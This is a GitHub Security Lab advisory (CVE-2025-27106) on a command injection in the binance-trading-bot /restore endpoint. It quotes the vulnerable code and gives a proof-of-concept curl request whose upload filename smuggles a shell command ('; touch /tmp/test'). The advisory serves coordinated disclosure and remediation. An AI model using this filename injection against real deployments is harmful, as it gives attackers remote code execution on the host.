Skip to content

binance-trading-bot

Moderate
chrisleekr published GHSA-wq6j-4388-4gg5 Feb 21, 2025

Package

binance-trading-bot

Affected versions

0.0.98

Patched versions

None

Description

GitHub Security Lab (GHSL) Vulnerability Report, binance-trading-bot: GHSL-2025-023

The GitHub Security Lab team has identified a potential security vulnerability in binance-trading-bot.

We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2025-023 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

Authenticated users of binance-trading-bot can achieve Remote Code Execution on the host system due to a command injection vulnerability in the /restore endpoint.

Project

binance-trading-bot

Tested Version

dd8e1a91b872a48aec47bbe1280c1c6ea96784d9

Details

Command injection in /restore endpoint (GHSL-2025-023)

The restore endpoint of binance-trading-bot is vulnerable to command injection via the /restore endpoint. The name of the uploaded file is passed to shell.exec without sanitization other than path normalization, resulting in Remote Code Execution. This may allow any authorized user to execute code in the context of the host machine.

  app.route('/restore').post(async (req, res) => {
    if (config.get('demoMode')) {
      return res.send({
        success: false,
        status: 403,
        message: 'You cannot restore database in the demo mode.',
        data: {}
      });
    }

    const authToken = req.header('X-AUTH-TOKEN');

    // Verify authentication
    const isAuthenticated = await verifyAuthenticated(logger, authToken);

    if (isAuthenticated === false) {
      logger.info('Not authenticated');
      return res.send({
        success: false,
        status: 403,
        message: 'Please authenticate first.',
        data: {}
      });
    }

    const { archive } = req.files;

    const filepath = `/tmp/${archive.name}`;
    archive.mv(filepath);

    const result = await new Promise(resolve => {
      shell.exec(
        `${process.cwd()}/scripts/restore.sh ${config.get(
          'mongo.host'
        )} ${config.get('mongo.port')} ${filepath}`,
        (code, stdout, stderr) => {
          resolve({ code, stdout, stderr });
        }
      );
    });

Impact

This issue may lead to Remote Code Execution.

Remediation

Use execFile instead of exec to ensure arguments are treated as arguments.

CWEs

  • CWE-078

Resources

Send a POST request containing an archive file with a valid auth token to the /restore endpoint. Change the filename to your command payload, such as ; touch /tmp/test. The command will be executed in the context of the application's user privileges.

Here is an example of a POST request with all the headers as used in our test instance of binance-trading-bot.

curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:8080' -H $'Content-Length: 220' -H $'X-AUTH-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkQXQiOiIyMDI1LTAxLTE1VDIwOjUwOjMwLjA5OFoiLCJpYXQiOjE3MzY5NzQyMzAsImV4cCI6MTczNjk4MTQzMH0.IL9B90n1em_pKxM9hKlMSH_KXMvzUJirpa5bKwBv3FA' -H $'sec-ch-ua-platform: \"macOS\"' -H $'Accept-Language: en-US,en;q=0.9' -H $'sec-ch-ua: \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept: application/json, text/plain, */*' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary35bz4v7kvAoHTXky' -H $'Origin: http://localhost:8080' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8080/' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
    -b $'_ga=GA1.1.3983687.1724225956; _ga_R1FN4KJKJH=GS1.1.1724353690.2.0.1724353690.0.0.0; GMT_OFFSET=-480; csrftoken=yX4phd2hpd3mhEkXH6GaHFDRwDBsntGDBvkVb1aN166C2A8f69POFPLrrKJ7My0G' \
    --data-binary $'------WebKitFormBoundary35bz4v7kvAoHTXky\x0d\x0aContent-Disposition: form-data; name=\"archive\"; filename=\"; touch /tmp/test"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary35bz4v7kvAoHTXky--\x0d\x0a' \
    $'http://localhost:8080/restore/'

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2025-023 in any communication regarding this issue.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Severity

Moderate

CVE ID

CVE-2025-27106

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits